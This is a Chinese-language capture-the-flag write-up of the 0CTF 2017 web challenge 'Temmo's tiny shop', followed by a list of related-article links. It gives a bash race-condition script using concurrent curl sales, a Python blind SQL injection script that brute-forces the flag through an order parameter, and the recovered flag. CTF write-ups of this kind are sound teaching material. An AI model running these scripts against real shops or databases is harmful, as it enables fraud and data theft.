Writeup for 0CTF2017 web
- Temmos tiny shop
2017年0CTF,WEB部分题目的Writeup。
Temmo’s tiny shop
本题首先要获取!HINT!,但是初始钱包里只有4000,而HINT要价8000,此处使用条件竞争(race condition)这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号,使用两个COOKIE来同时进行售卖的动作,则会进行两次售卖动作。bash代码如下
#!/bin/bash
cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"url="http://202.120.7.197/app.php"curl "$url?action=buy&id=2" -b $cookie1
curl "$url?action=sale&id=2" -b $cookie1 &
curl "$url?action=sale&id=2" -b $cookie2
得到HINT的提示:
OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`
接下来便是sql注入,注入点在search功能的order参数上,可以这样构造
http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)
因为没有回显,对flag进行逐个字符的爆破,遍历ascii码表,通过返回内容中商品的顺序来判断每个字符的值。python代码如下:
#!/usr/bin/python
import requestsurl = "http://202.120.7.197/app.php"param = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{},1)like({}),price,name)"headers = {"Cookie" : "PHPSESSID=39083e7nft6kbvkjvph29socb0"}
answer=''for i in range(40):for j in range(128):if j == 37:continuecontent = requests.get(url+param.format(str(i), hex(j)), headers=headers).contentprint param.format(str(i), hex(j))print contentif content.find('"id":"6"') < content.find('"id":"3"'):answer += chr(j)print chr(j)breakprint answer
可以得到flag
FLAG_R4CE_C0NDITI0N_I5_EXCITED_
OVER~
Writeup for 0CTF2017 web相关推荐
- Dest0g3 520迎新赛 writeup (misc部分 + web部分)
Dest0g3 520迎新赛 文章目录 Dest0g3 520迎新赛 MISC Welcome to fxxking DestCTF 你知道js吗 StrangeTraffic Pngenius Ea ...
- My Writeup
My writeup Bugku(web): 1.web2 打开就出现了很多滑稽, 直接f12→查看器→→flag有了 2.计算器 进去之后是一个计算题,但是只能输入一个数字,肯定是对提交内容做了限制 ...
- 【2022羊城杯WriteUp By EDISEC】
2022羊城杯WriteUp By EDISEC Web little_db Safepop rce_me step_by_step-v3 ComeAndLogin simple_json Misc ...
- 第五空间CTF初赛WriteUp By EDISEC
第五空间CTF初赛WriteUp By EDISEC Web 5_web_Eeeeasy_SQL 5_web_BaliYun 5_easylogin 5_web_letmeguess_1 Misc s ...
- 2022巅峰极客WriteUp By EDISEC
2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...
- SWPUCTF2019web题复现
[SWPU2019]web1-easy_web 有一个登录框,试了试万能密码失败,那就注册吧 登录后发现有一个申请广告,在标题处输入11111111',发现报错,应该是sql注入 禁用了or,空格等等 ...
- php逻辑难是难在sql,[实验吧] 所有web writeup
实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...
- 2022 lineCTF WEB复现WriteUp
lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...
- 虎符WEB Writeup
虎符网络安全比赛 WEB Writeup 转自i春秋 https://bbs.ichunqiu.com/thread-56994-1-2.html 0x01 前言 这次比赛相对于我这个小菜鸡而言收获很 ...
- Jarvis-OJ WEB 多题writeup
PORT51(curl) LOCALHOST(伪造ip) Login(SQL注入) 神盾局的秘密(base64编码+反序列化) IN A Mess(代码审计+过滤空格SQL注入) admin(robo ...
最新文章
- 原型模式(Prototype)
- 手把手教你如何建立自己的Linux系统(二)
- div中有元素刷新不出来_DNF:神话罐子来了!500个不渝材料就能换,但你刷新不出来...
- c++中使用 数据库相关知识点 部分后面慢慢加
- mysqldump导出不包含存储过程
- #include与#include的区别
- idea 中文字体 自动变_提高工作效率,我推荐讯飞语记,瞬间语音秒变文字
- Intel Multiprocessor System Architecture
- OpenSSL 用SM3算法进行hash
- .mcs与.bin文件格式有什么区别?
- python改变图片像素值大小_Python之修改图片像素值的方法
- 【无标题】单分子纳米孔测序技术及其应用研究进展
- Python Prep随想练习-Day3
- 虚拟机去虚拟化教程,过游戏检测,不全你打我
- NTP 服务的配置和使用
- 《Gradient-based learning applied to document recognition》翻译
- 微信小程序基于OCR插件实现图文识别(超简单)
- HTML Input标签输入限制
- 电影▍更多的《复仇者联盟4:终局之战》剧透描述了令人心碎的超级英雄死亡...
- 鉴微品翠之玉雕大师黄时康:众翠皆平等 红尘不染心